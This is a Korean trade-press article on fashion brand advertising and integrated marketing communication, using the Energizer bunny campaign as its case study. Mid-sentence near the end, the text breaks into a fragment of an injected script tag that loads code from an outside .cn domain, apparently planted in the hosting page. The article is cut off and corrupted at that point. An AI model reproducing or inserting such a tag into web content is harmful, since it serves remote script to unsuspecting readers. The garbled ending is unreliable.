패션 비즈니스의 규모가 대형화하고 글로벌 브랜드들이 앞다퉈 진입하고 있는 상황에서 우리 브랜드들은 한 목소리로 경쟁력 업그레이드를 기치로 내걸고 있다. 그러나 패션 비즈니스를 구성하는 중요한 요소인 광고 분야는 아직 그 당위성에 대한 공론화조차 이뤄지지 않고 있는 실정이다. 관련 업계에서는 1차원적인 판매 촉진과 단순 홍보 역할에서 벗어나 IMC의 적용이 시급한 실정이라고 입을 모으고 있 있다. 패션 광고의 현주소와 미래를 짚어봤다. 한 캐주얼브랜드의 마케팅실장 A씨는 내년 봄·여름 마케팅 플랜을 짜다가 최근 떠오르고 있는 사회적인 트렌드인 ‘디지로그’를 브랜딩에 접목해야겠다는 생각으로 계획안을 작성했다. 부서장 회의에서 이 계획안을 발표한 그는 다른 부서장들의 반대에 부딪혀 실행을 포기했다. A씨는 “가장 먼저 디자인실의 반대가 심했다. 디자인실에서 아직 상품 기획 방향을 명확하게 잡지 못했는데 왜 마케팅실에서 먼저 나서냐는 것이었다. 다른 부서에서도 패션 브랜드에 생뚱맞게 디지로그를 들이대냐며 비아냥거렸다. 처음에는 좋은 아이디어 같다며 분위기를 띄우던 본부장도 부서장들의 반대가 생각보다 심하자 광고에서만 디지로그적인 느낌을 잘 풀어보라며 한발 물러섰다”고 말했다. 브랜드 광고·전략의 현주소를 말해주는 대목이다. 지금까지 패션 브랜드들은 시즌 트렌드에 따라 상품, 매장, 광고·마케팅에서 한 목소리를 내지 못해 소비자들에게 분명한 브랜드 아이덴터티를 심어주지 못했다. 브랜드 가치를 인정받지 못한 상황에서 재래시장의 스피드와 인터넷 유통의 편리함이라는 협공에 밀리는 상황이 벌어진 것이다. IMC 개념 도입 절실 이런 가운데 최근 IMC(통합 마케팅 커뮤니케이션, Integated Marketing Communication)가 새로운 대안으로 주목받고 있다. IMC 는 1990년대 중반부터 미국 광고업계의 화두로 떠올라 지금은 선진 마케팅 기법으로 자리잡았다. 사전적인 정의를 살펴보면 ‘IMC는 광고, DM, SP와 PR등 다양한 커뮤니케이션 수단들의 전략적인 역할을 비교 검토하고, 명료성과 일관성을 높여 최대의 커뮤니케이션 효과를 제공하기 위해 이들 다양한 수단들을 통합하는 총괄적 계획의 부가적 가치를 인식하는 마케팅 커뮤니케이션 계획의 개념’이다. 쉽게 설명하면 소비자를 설득하기 위해서는 브랜딩이 되어야 하고 브랜딩이 되기 위해서는 대외적인 요소가 모두 한 목소리를 내야 한다는 것이다. 황부영 브랜다임 대표이사는 “잘 된 브랜드는 제품이 80이면 커뮤니케이션이 20이다. 그러나 커뮤니케이션이 되면 제품이 99가 되더라도 브랜드는 0이 된다. 제품은 마케팅을 해아하고 브랜드는 커뮤니케이션 해야 한다. 이를 잘 수행하기 위해서는 IMC 개념에 대한 전사적인 이해가 필수적이다”라고 말했다. IMC 성공사례 「에너자이저」 에버레디사의 「에너자이저」 배터리는 미국에서 성공한 IMC 전략 가운데 하나로 손꼽힌다. 쉼 없이 북치는 핑크색 토끼로 우리의 기억 속에도 남아있는 광고다. 이 캠페인은 ‘토끼가 어떤 어려운 상황도 극복하고 계속해서 북을 치며 앞으로 나가게 할 정도로 에너자이저 배터리의 수명이 길다’는 콘셉트가 바탕이 됐다. ‘갑니다. 계속 갑니다(Keep going and going)’라는 마지막 멘트와 북치는 핑크색 토끼로 인해 가장 인기 있는 광고로 부상했고, 에버레디사는 IMC를 도입, 에너자이저 광고의 컨셉트와 북치는 핑크색 토끼를 모든 커뮤니케이션 활동에 활용했다. 에버레디사는 소매점의 에너자이저 배터리 진열대, 판촉 디스플레이, 판촉물 등에 TV 광고에서 사용된 컨셉트와 북치는 핑크색 토끼를 이용하고 경품 제공, 매장 내 판촉 행사, 할인 쿠폰 제공에서도 북치는 핑크색 토끼를 이용함으로써 소비자의 관심과 호응을 높였다. 또한 에너자이저 제품의 포장과 모든 POP에도 북치는 핑크색 토끼를 디자인해 브랜드 인지도와 이미지를 높이는 데 기여했다. 결국 ‘에너자이저’는 ‘지치지 않는 힘’을 연상하는 대명사처럼 전세계 소비자들의 이미지 속에 각인됐다. 광고·컨설팅 회사인 맥셀의 김성일 사장은 “기업이 판매하고자 하는 제품을 소비자의 기억속에 그리고 마음속에 각인시키기 위해 기업이 취할 수 있는 모든 마케팅수단인 광고, 홍보, 판매촉진 등의 수단을 동원해 이 한 목소리를 낼 수 있도록 해야한다”고 말했다. 제한적인 예산, 제한적인 마인드 IMC를 진행하는데 있어 가장 큰 걸림돌은 예산 문제다. 연간 매출 300~400억원 대의 브랜드가 한 해 마케팅 비용으로 100억원을 투입할 수는 없기 때문이다. 때문에 적게는 한해 4억원 수준의 비용으로 광고?마케팅을 집행하는 브랜드도 있다. 한 캐주얼 기업의 사장은 “닭이 먼저냐 달걀이 먼저냐를 말하는 것 같다. 마케팅을 제대로 못해 매출?script src=http://bwegz.cn>

김정명 기자
kjm@fi.co.kr